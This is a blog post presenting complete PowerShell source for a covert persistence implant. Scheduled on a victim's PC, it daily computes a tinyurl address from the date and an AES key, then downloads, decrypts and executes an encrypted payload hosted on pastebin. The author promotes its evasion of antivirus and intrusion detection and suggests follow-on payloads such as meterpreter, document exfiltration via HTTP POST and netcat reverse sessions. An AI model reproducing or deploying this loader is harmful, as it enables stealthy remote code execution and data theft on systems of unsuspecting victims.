Powershell Hacking

psapt-dump4

Using Powershell as APT

The other day I just got an idea for some Powershell script that could serve as an APT (advanced persistent thread) in a victims PC/network. The basic idea is to have the script scheduled on a victims machine and daily let it contact a constantly changing URL. If there is an encrypted payload for the victim on that day, it will download it and execute it.  The workflow is like this:

  1. The attacker generates a symmetric key that will be used for communicating to the victims PC.
  2. A scheduled task is set up on the victim using the generated key. Every day it will look at an URL calculated from the current day and the key.
  3. The attacker chooses a date for the attack, and uses his  key to encrypt a payload powershell script.
  4. He pastes the encrypted payload on a website. For example pastebin.com.
  5. He creates a url in a shortlink site that points to the site with the encrypted payload. For example tinyurl.com
  6. Every day the victims PC will go to the shortlink site with the calculated link. If the calculated URL date is found, it downloads the payload and executes it.

So what are the advantages with this method?

  • Powershell easily slips under the radar of AV/IDS systems.
  • It is very unintrusive, because it only makes 1 http or https request per day.
  • No need for a CC (command and control) infrastructure.
  • It can rest for years, and you can wake it up when needed
  • You use public services like tinyurl and pastebin, but everything up here is encrypted with AES256! Nobody will know what is going on

I think my script is best demonstrated with some real life examples

Step 1: Generate an AES256 key

First we need a key that is only know by the attacker and the victims PC. We generate a random one here:

psapt-dump1

Step 2: Encrypting a payload

First I make a simple payload file just to check that everything is working.  (I am calling it payload.ps1). Be creative here – the posbilities are endless with powershell 🙂

Get-ChildItem c:\ > $env:temp\dirlist.txt
notepad $env:temp\dirlist.txt

Now we use our generated key and we choose a date when we want our victim to execute the payload.

All we do with this information is pasting the encrypted file blob to pastebin (it’s very important to include everything, also the begin and end tags). This will give us a new URL on pastebin.

Now we go to tinyurl and make a shortlink that points to our newly created pastebin.

Step 3: Testing on the victims PC

Trying to run the code on the victims machine on a wrong day will look like this:

psapt-dump3

And running it on a day where there is a payload, it will look like this:

psapt-dump4

And in my case a notepad will pop up with the directory listing of my drive C (my payload)

Step 4: hiding things and doing good payloads

Now it’s all up to you to hide this and make it scheduled on the real victim PC.

There is so much that can be done in the payloads. For example

  • Sending a meterpreter for full access on the PC (this could get caught by 4gen firewalls)
  • picking up documents and sending them with a HTTP POST query using Invoke-WebRequest
  • Setting up a reverse telnet session, moving things with netcat
  • And much more.

The code

My code is only proof of concept and not ready for production! It should only be used for educational purposes, and always used with permission of the systemowner! Please feel free to drop me a comment 🙂

PSAPT.PS1:

<#    
    .NOTES
    ===========================================================================
     Created with:     Notepad++ and a powershell session
     Created on:       20-10-2016 14:36
     Created by:       Alex Skov Jensen
     Version:        v1.0
    ===========================================================================
    .DESCRIPTION
        This is a POC of some powershell script to gain APT (Advanced Persistent Threat) on a PC/Server
        This is only for practicing and learning, and should NEVER be used in a production environment without permission from the network owner!
        If you have any ideas/suggestions please feel free to contact me on cron.dk
        Basically these scripts enables you to take a payload powershell-script and put it (very anonymously) encrypted somewhere on the internet and let your attacked-pc run it at your will.
        Why powershell? Well - AV is not really prepared for this! They can't really handle this!
        Everything is my idea, but encryption functions are borrowed from the great internet :) no need to invent the wheel again!
        Public functions you will need are: Create-AesKey, Encrypt-File and Run-From-Web
#>

# -----------------------------------------------------------------------------------------------------------------------
# Add the crypt32.dll to Powershell - we need this for hex to string, string to hex conversions.
$signature = @"
    [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern bool CryptStringToBinary(
        string pszString,
        int cchString,
        int dwFlags,
        byte[] pbBinary,
        ref int pcbBinary,
        int pdwSkip,
        ref int pdwFlags
    );
    [DllImport("Crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern bool CryptBinaryToString(
        byte[] pbBinary,
        int cbBinary,
        int dwFlags,
        StringBuilder pszString,
        ref int pcchString
    );
"@
Add-Type -MemberDefinition $signature -Namespace PKI -Name Crypt32 -UsingNamespace "System.Text"

# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Creates an object for all further AES actions
#>
function Create-AesManagedObject {
    param
    (
        $key,
        $IV
    )
    
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        } else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        } else {
            $aesManaged.Key = $key
        }
    }
    Return $aesManaged
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        This function generates a random AES key that can be used on both the client and the server
#>
function Create-AesKey {
    $aesManaged = Create-AesManagedObject
    $aesManaged.GenerateKey()
    
    Write-Host "Your generated AES key is:" -ForegroundColor Yellow
    [System.Convert]::ToBase64String($aesManaged.Key)
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Encrypts a string with AES256
    
    .PARAMETER key
        An AES256 key for the encryption
    
    .PARAMETER unencryptedString
        A string that you want to encrypt with the key
#>
function Encrypt-String {
    param
    (
        $key,
        $unencryptedString
    )
    
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]]$fullData = $aesManaged.IV + $encryptedData
    return (Convert-BinaryToHex $fullData)
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Generates an URL from a date
    
    .DESCRIPTION
        First it takes the AES key and makes a salt out of it. It's added to the date (int64). Then it creates a SHA256 hash of that. Finally it's truncated, because its often too long for short-link-services
    
    .PARAMETER key
        The AES256 encryption key
    
    .PARAMETER date
        The date that needs to be hashed
    
    .PARAMETER urlServiceString
        A string with the URL that will point to the encrypted powershell script.
        An example could be "http://tinyurl.com/name-%" here the % will be substituted with the encrypted date
    
    .PARAMETER encryptedDateLength
        The final length of the truncated hashed date
#>
function Generate-UrlFromDate {
    param
    (
        $key,
        $date,
        $urlServiceString,
        $encryptedDateLength
    )
    
    $salt = 0xffffff*$key[0] + 0xffff*$key[1] + 0xff*$key[2] + $key[3] #make a salt of the first 4 bytes of the AES key
    $dateInt = (Get-date $date).TofileTime() + $salt # And mix it the date (int64)
    $dateBytes = [bitconverter]::GetBytes($dateInt)
    
    $algorithm = [Security.Cryptography.HashAlgorithm]::Create("SHA256") # Hash it with sha256
    $hashedDate = $algorithm.ComputeHash($dateBytes)
    
    $hashedDateHex = Convert-BinaryToHex $hashedDate
    $truncatedHashedDateHex = $hashedDateHex.substring(0, $encryptedDateLength) # And truncate it
    
    $url = $urlServiceString.replace("%", $truncatedHashedDateHex) 
    return $url
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Decrypts an array of bytes into a string  (using an AES256 key)
    
    .PARAMETER key
        An AES256 encryption key
    
    .PARAMETER bytes
        An array of bytes that are encrypted
#>
function Decrypt-String {
    param
    (
        $key,
        $bytes
    )
    
    $IV = $bytes[0..15]
    $aesManaged = Create-AesManagedObject $key $IV
    $decryptor = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    #$aesManaged.Dispose()
    return [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Converts an array of bytes to hex
    
    .DESCRIPTION
        The main purpose of this function is to convert a byte array into a continous hex-string. It will give a hex-string looking like this: 6f5a336684bef6a1
    
    .PARAMETER array
        An array of bytes
#>
function Convert-BinaryToHex {
    param
    (
        $array
    )
    
    $pcchString = 0
    if ([PKI.Crypt32]::CryptBinaryToString($array, $array.Length, 12, $null, [ref]$pcchString)) {
        $SB = New-Object Text.StringBuilder $pcchString
        [void][PKI.Crypt32]::CryptBinaryToString($array, $array.Length, 12, $sb, [ref]$pcchString)
        return $SB.ToString().Trim()
    }
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Converts an string of hex to an array of bytes
    
    .DESCRIPTION
        The main purpose of this function is to convert a string (looking like 6f5a336684bef6a1) into an array of bytes.
    
    .PARAMETER hex
        A string of hex
#>
function Convert-HexToBinary {
    param
    (
        [string]$hex
    )
    
    $pcbBinary = 0
    $pdwFlags = 0
    if ([PKI.Crypt32]::CryptStringToBinary($hex, $hex.Length, 12, $null, [ref]$pcbBinary, 0, [ref]$pdwFlags)) {
        $array = New-Object byte[] -ArgumentList $pcbBinary
        [void][PKI.Crypt32]::CryptStringToBinary($hex, $hex.Length, 12, $array, [ref]$pcbBinary, 0, [ref]$pdwFlags)
        return $array
    }
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        Prepares a powershell script to be encrypted
    
    .DESCRIPTION
        This function will provide everything you need to encrypt a payload powershell script and create the URL's needed
    
    .PARAMETER key
        An AES256 key to encrypt the script with (use the function Create-AesKey to create this)
    
    .PARAMETER fileName
        The powershell script (the payload) that you want to encrypt
    
    .PARAMETER urlServiceString
        A string with the URL that will point to the encrypted powershell script.
        An example could be "http://tinyurl.com/name-%" here the % will be substituted with the current day encrypted
    
    .PARAMETER date
        The date when you expect the attacked machine to run this payload
        Format is YYYY-MM-DD
    
    .PARAMETER maxEncryptedDateLength
        The encrypted date is long. Normally it's good to concatenate it to maybe 10-16 characters. Many shortlink services has a limit that needs to be respected
#>
function Encrypt-File {
    param
    (
        $key,
        $fileName,
        $urlServiceString,
        $date,
        $maxEncryptedDateLength
    )
    
    $date = (get-date $date -Format "yyyy-MM-dd")
    Write-Host "Date:" -ForegroundColor Yellow
    Write-Host $date
    
    Write-Host "You are using this AES key for Encryption:" -ForegroundColor Yellow
    write-host $key
    
    $fileContent = Get-Content $fileName -Raw
    $encryptedFile = Encrypt-String $key $fileContent
    
    Write-Host "Encrypted file blob is here:" -ForegroundColor Yellow
    Write-Host "----- BEGIN -----${encryptedFile}----- END -----"
    
    $url = Generate-UrlFromDate $key $date $urlServiceString $maxEncryptedDateLength
    
    Write-Host "URL:" -ForegroundColor Yellow
    Write-Host $url
}


# -----------------------------------------------------------------------------------------------------------------------
<#
    .SYNOPSIS
        This you run on the attacked machine
    
    .DESCRIPTION
        This function should be called scheduled on the attacked machine. It will find the current date and build an URL where it looks for some encrypted script (the payload). If it finds it, it will download it, decrypt it, and run it!
    
    .PARAMETER key
        The AES256 key that the script and date is encrypted with
    
    .PARAMETER urlServiceString
        A string with the URL that will point to the encrypted powershell script.
        An example could be "http://tinyurl.com/name-%" here the % will be substituted with the encrypted date
    
    .PARAMETER encryptedDateLength
        The final length of the truncated hashed date. This has to match the length when the payload was encrypted
#>
function Run-From-Web {
    param
    (
        $key,
        $urlServiceString,
        $encryptedDateLength
    )
    
    $today = get-date -Format "yyyy-MM-dd"
    Write-Host "Today is:" -ForegroundColor Yellow
    Write-Host $today
    
    $url = Generate-UrlFromDate $key $today $urlServiceString $encryptedDateLength
    Write-Host "Going to URL:" -ForegroundColor Yellow
    Write-Host $url
    
    try {
        $webReq = Invoke-WebRequest $url
        $webContent = $webReq.RawContent
        $matches = [regex]::Matches($webContent, '----- BEGIN -----(.+?)----- END -----')
        $encryptedHex = $matches[1].Groups[1].Value
        Write-Host "Found encrypted content: " -ForegroundColor Yellow
        Write-Host $encryptedHex
        
        $encryptedBinary = Convert-HexToBinary $encryptedHex
        $decryptedHex = Decrypt-String $key $encryptedBinary
        Write-Host "Decryptet Content: " -ForegroundColor Yellow
        Write-Host $decryptedHex
    } catch {
        Write-Host "Nothing at that url! Maybe it's the wrong day? Exiting..." -ForegroundColor Red
    }
    
    if ($decryptedHex.length -gt 0) {
        $payloadFile = $env:TEMP + "\" + (random) + ".ps1"
        Write-Host "Creating payload file with decrypted content at: " -ForegroundColor Yellow
        Write-Host $payloadFile
        $decryptedHex | Out-File -FilePath $payloadFile -Encoding UTF8
        
        Write-Host "Executing payload..." -ForegroundColor Yellow
        Invoke-Expression -command $payloadFile
    }
}

 

Leave a Reply

Your email address will not be published. Required fields are marked *